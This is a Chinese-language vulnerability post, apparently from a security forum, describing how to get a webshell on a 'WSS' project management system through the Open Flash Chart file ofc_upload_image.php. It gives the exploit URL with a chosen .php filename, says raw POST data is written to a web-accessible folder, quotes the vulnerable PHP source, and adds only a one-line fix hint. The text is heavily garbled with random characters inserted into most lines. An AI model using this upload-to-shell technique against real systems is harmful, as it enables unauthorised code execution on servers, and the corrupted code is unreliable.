WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
( R; \+ l. i+ w# p, H  P* i1 b
利用：
  l' b. n9 R8 \8 M1 M/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
6 C1 R0 u  I$ q$ `2 q/ O' w
0 V2 @5 `) L0 Y- JPost任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php
7 ^# z2 \/ ]8 V4 ~1 B" s0 ]  T
; C5 m+ k( I3 W# J. J* N9 t
& l/ y7 L& h6 _+ |; P& R最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
& u+ a0 g: |- V) J
<?php

//
0 h: `# W% R7 S// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
: `$ i- d; y$ Z  @//
6 I; y7 i) u; h- R! @, `
' J, v4 C& t% ]) }2 r; M& @/*

1 ~, v! ?# b/ Q  F* wprint_r( $_GET );
* l/ d' S. r* C5 aprint_r( $_POST );
print_r( $_FILES );

1 l& t/ r9 p" N. d- ~print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

*/
) |8 u5 r1 Q5 P/ z6 C  x* M1 Z8 F// default path for the image to be stored //
' T# U& S, l' @( \  i$default_path = '../tmp-upload-images/';
9 b  l8 t9 ~" B
$ P1 k9 b& A" z. _! @5 yif (!file_exists($default_path)) mkdir($default_path, 0777, true);
5 z$ c: B4 a1 r% a0 B5 Y0 V! b, i
& I9 Q% P! V: o# M( q) c// full path to the saved image including filename //
  d* e" @( x  V1 @$destination = $default_path . basename( $_GET[ 'name' ] );
$ P4 R7 s' q4 _0 F
/ e0 y( v( c  C" }( }$ s, wecho 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
% x% i, P. h; p6 `5 U// echo $HTTP_RAW_POST_DATA;

//
  m0 N  o- p; U// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
  W( ]2 S0 ~  K// the raw bits into $HTTP_RAW_POST_DATA
//
: m" n$ s2 l) }5 J8 [6 z3 S
$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
6 |. s% G- F3 P; E1 f8 Gfclose($jfh);
" _( p5 l6 w5 h7 d5 Y
: [6 p* q. N6 r, f% t* s, o4 b$ B//
8 K* _$ f& v7 i  v1 |! o// LOOK:
//
exit();
' Y' r9 e2 ~4 H( O//
// PHP5:
//
4 }! A2 n7 q& o  O9 U% ]+ \0 r1 V
! I2 R/ D$ A4 h3 f( K
8 n! K" s2 i$ M8 W; _// default path for the image to be stored //
% u; G4 l3 J/ V, Q( y$default_path = 'tmp-upload-images/';
' t! b3 B: p: [1 p3 `  b. w" e$ i
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
0 g$ T' V6 h( V, {# u6 u. |  n3 b
$ Z- c1 t- M% |$ W( \/ |// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
2 t9 H5 b* n, Z; q
+ Y7 a; `( c" b9 f" I0 `2 N2 v// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
    echo "FILE UPLOAD FAILED";
}

) ]5 j. Q1 ?& K
?>
8 X! N% Y$ `6 s1 Y

' k, V3 p4 A$ h8 j- n" B
  u% ^4 y& h0 Y7 u0 U( L' B1 L
$ O/ F" `5 S# v4 K0 p% |

修复方案：
$ f  N9 _, M3 L9 z5 B) }  L这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞

* ?9 @5 A, k1 x
' q4 l# c3 \) e, b0 H( n

1 c/ q* [( t9 I: v